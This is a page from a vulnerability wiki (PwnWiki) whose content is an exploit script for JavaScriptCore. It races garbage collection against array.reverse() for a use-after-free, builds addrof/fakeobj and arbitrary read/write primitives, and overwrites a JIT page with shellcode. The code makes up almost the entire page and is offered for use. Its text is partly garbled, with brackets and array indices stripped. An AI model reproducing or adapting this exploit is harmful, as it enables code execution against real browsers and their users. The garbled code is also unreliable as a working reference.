免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
EXP
// Load Int library, thanks saelo! load('util.js'); load('int64.js'); // Helpers to convert from float to in a few random places var conva = new ArrayBuffer(8); var convf = new Float64Array(conva); var convi = new Uint32Array(conva); var convi8 = new Uint8Array(conva); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var jsval_magic = new Int64('0x3232323232323232').asDouble(); var structs = ; function log(x) { print(x); } // Look OOB for array we can use with JSValues function findArrayOOB(corrupted_arr, groom) { log("Looking for JSValue array with OOB Float array"); for (let i = 0; i<corrupted_arr.length; i++) { convf0 = corrupted_arri; // Find the magic value we stored in the JSValue Array if (convi0 == 0x10) { convf0 = corrupted_arri+1; if (convi0 != 0x32323232) continue; // Change the first element of the array corrupted_arri+1 = new Int64('0x3131313131313131').asDouble(); let target = null; // Find which array we modified for (let j = 0; j<groom.length; j++) { if (groomj0 != jsval_magic) { target = groomj; break } } log("Found target array for addrof/fakeobj"); // This object will hold our primitives let prims = {}; let oob_ind = i+1; // Get the address of a given jsobject prims.addrof = function(x) { // To do this we put the object in the jsvalue array and // access it OOB with our float array target0 = x; return Int64.fromDouble(corrupted_arroob_ind); } // Return a jsobject at a given address prims.fakeobj = function(addr) { // To do this we overwrite the first slot of the jsvalue array // with the OOB float array corrupted_arroob_ind = addr.asDouble(); return target0; } return prims; } } } // Here we will spray structure IDs for Float64Arrays // See http://www.phrack.org/papers/attacking_javascript_engines.html function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/^a-z+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x1000; i++) { let a = new Float64Array(1); // Add a new property to create a new Structure instance. arandomString() = 1337; structs.push(a); } } // Here we will create our fake typed array and get arbitrary read/write // See http://www.phrack.org/papers/attacking_javascript_engines.html function getArb(prims) { sprayStructures() let utarget = new Uint8Array(0x10000); utarget0 = 0x41; // Our fake array // Structure id guess is 0x200 // Indexing type = 0 m_type = 0x27 (float array) m_flags = 0x18 (OverridesGetOwnPropertySlot) m_cellState = 1 (NewWhite) let jscell = new Int64('0x0118270000000200'); // Construct the object // Each attribute will set 8 bytes of the fake object inline obj = { 'a': jscell.asDouble(), // Butterfly can be anything 'b': false, // Target we want to write to 'c': utarget, // Length and flags 'd': new Int64('0x0001000000000010').asDouble() }; // Get the address of the values we stored in obj let objAddr = prims.addrof(obj).add(16); log("Obj addr + 16 = "+objAddr); // Create a fake object from this pointer let fakearray = prims.fakeobj(objAddr); // Attempt to find a valid ID for our fake object while(!(fakearray instanceof Float64Array)) { jscell.add(1); obj'a' = jscell.asDouble(); } log("Matched structure id!"); // Set data at a given address prims.set = function(addr, arr) { fakearray2 = addr.asDouble(); utarget.set(arr); } // Read 8 bytes as an Int64 at a given address prims.read64 = function(addr) { fakearray2 = addr.asDouble(); let bytes = Array(8); for (let i=0; i<8; i++) { bytesi = utargeti; } return new Int64(bytes); } // Write an Int64 as 8 bytes at a given address prims.write64 = function(addr, value) { fakearray2 = addr.asDouble(); utarget.set(value.bytes); } } // Here we will use build primitives to eventually overwrite the JIT page function exploit(corrupted_arr, groom) { save.push(groom); save.push(corrupted_arr); // Create fakeobj and addrof primitives let prims = findArrayOOB(corrupted_arr, groom); // Upgrade to arb read/write from OOB read/write getArb(prims); // Build an arbitrary JIT function // This was basically just random junk to make the JIT function larger let jit = function(x) { var j = ; j0 = 0x6323634; return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j0; }; // Make sure the JIT function has been compiled jit(); jit(); jit(); // Traverse the JSFunction object to retrieve a non-poisoned pointer log("Finding jitpage"); let jitaddr = prims.read64( prims.read64( prims.read64( prims.read64( prims.addrof(jit).add(3*8) ).add(3*8) ).add(3*8) ).add(5*8) ); log("Jit page addr = "+jitaddr); // Overwrite the JIT code with our INT3s log("Writting shellcode over jit page"); prims.set(jitaddr.add(32), 0xcc, 0xcc, 0xcc, 0xcc); // Call the JIT function, triggering our INT3s log("Calling jit function"); jit(); throw("JIT returned"); } // Find and set the length of a non-freed butterfly with our unstable OOB primitive function setLen(uaf_arr, ind) { let f=0; for (let i=0; i<uaf_arr.length; i++) { convf0 = uaf_arri; // Look for a new float array, and set the length if (convi0 == 0x10) { convf0 = uaf_arri+1; if (convi0 == 0x32323232 && convi1 == 0x32323232) { convi0 = 0x42424242; convi1 = 0x42424242; uaf_arri = convf0; return; } } } throw("Could not find anouther array to corrupt"); } let oob_rw_unstable = null; let oob_rw_unstable_ind = null; let oob_rw_stable = null; // After this point we would stop seeing GCs happen enough to race :( const limit = 10; const butterfly_size = 32 let save = 0, 0 for(let at = 0; at < limit; at++) { log("Trying to race GC and array.reverse() Attempt #"+(at+1)); // Allocate the initial victim and target arrays let victim_arrays = new Array(2048); let groom = new Array(2048); for (let i=0; i<victim_arrays.length; i++) { victim_arraysi = new Array(butterfly_size).fill(floatarr_magic) groomi = new Array(butterfly_size/2).fill(jsval_magic) } let vv = ; let v = // Allocate large strings to trigger the GC while calling reverse for (let i = 0; i < 506; i++) { for(let j = 0; j < 0x100; j++) { // Cause GCs to trigger while we are racing with reverse if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } victim_arrays.reverse() } } for (let i = 0; i < victim_arrays.length; i++) { // Once we see we have replaced a free'd butterfly // fill the replacing array with 0x41414141... to smash rest // of UAF'ed butterflies // We know the size will be 506, because it will have been replaced with v // we were pushing into in the loop above if(victim_arraysi.length == 506) { victim_arraysi.fill(2261634.5098039214) } // Find the first butterfly we have smashed // this will be an unstable OOB r/w if(victim_arraysi.length == 0x41414141) { oob_rw_unstable = victim_arraysi; oob_rw_unstable_ind = i; break; } } // If we successfully found a smashed and still freed butterfly // use it to corrupt a non-freed butterfly for stability if(oob_rw_unstable) { setLen(oob_rw_unstable, oob_rw_unstable_ind) for (let i = 0; i < groom.length; i++) { // Find which array we just corrupted if(groomi.length == 0x42424242) { oob_rw_stable = groomi; break; } } if (!oob_rw_stable) { throw("Groom seems to have failed :("); } } // chew CPU to avoid a segfault and help with gc schedule for (let i = 0; i < 0x100000; i++) { } // Attempt to clean up some let f = for (let i = 0; i < 0x2000; i++) { f.push(new Array(16).fill(2261634.6098039214)) } save.push(victim_arrays) save.push(v) save.push(f) save.push(groom) if (oob_rw_stable) { log("Found stable corrupted butterfly! Now the fun begins..."); exploit(oob_rw_stable, groom); break; } } throw("Failed to find any UAF'ed butterflies");
pwnwiki.com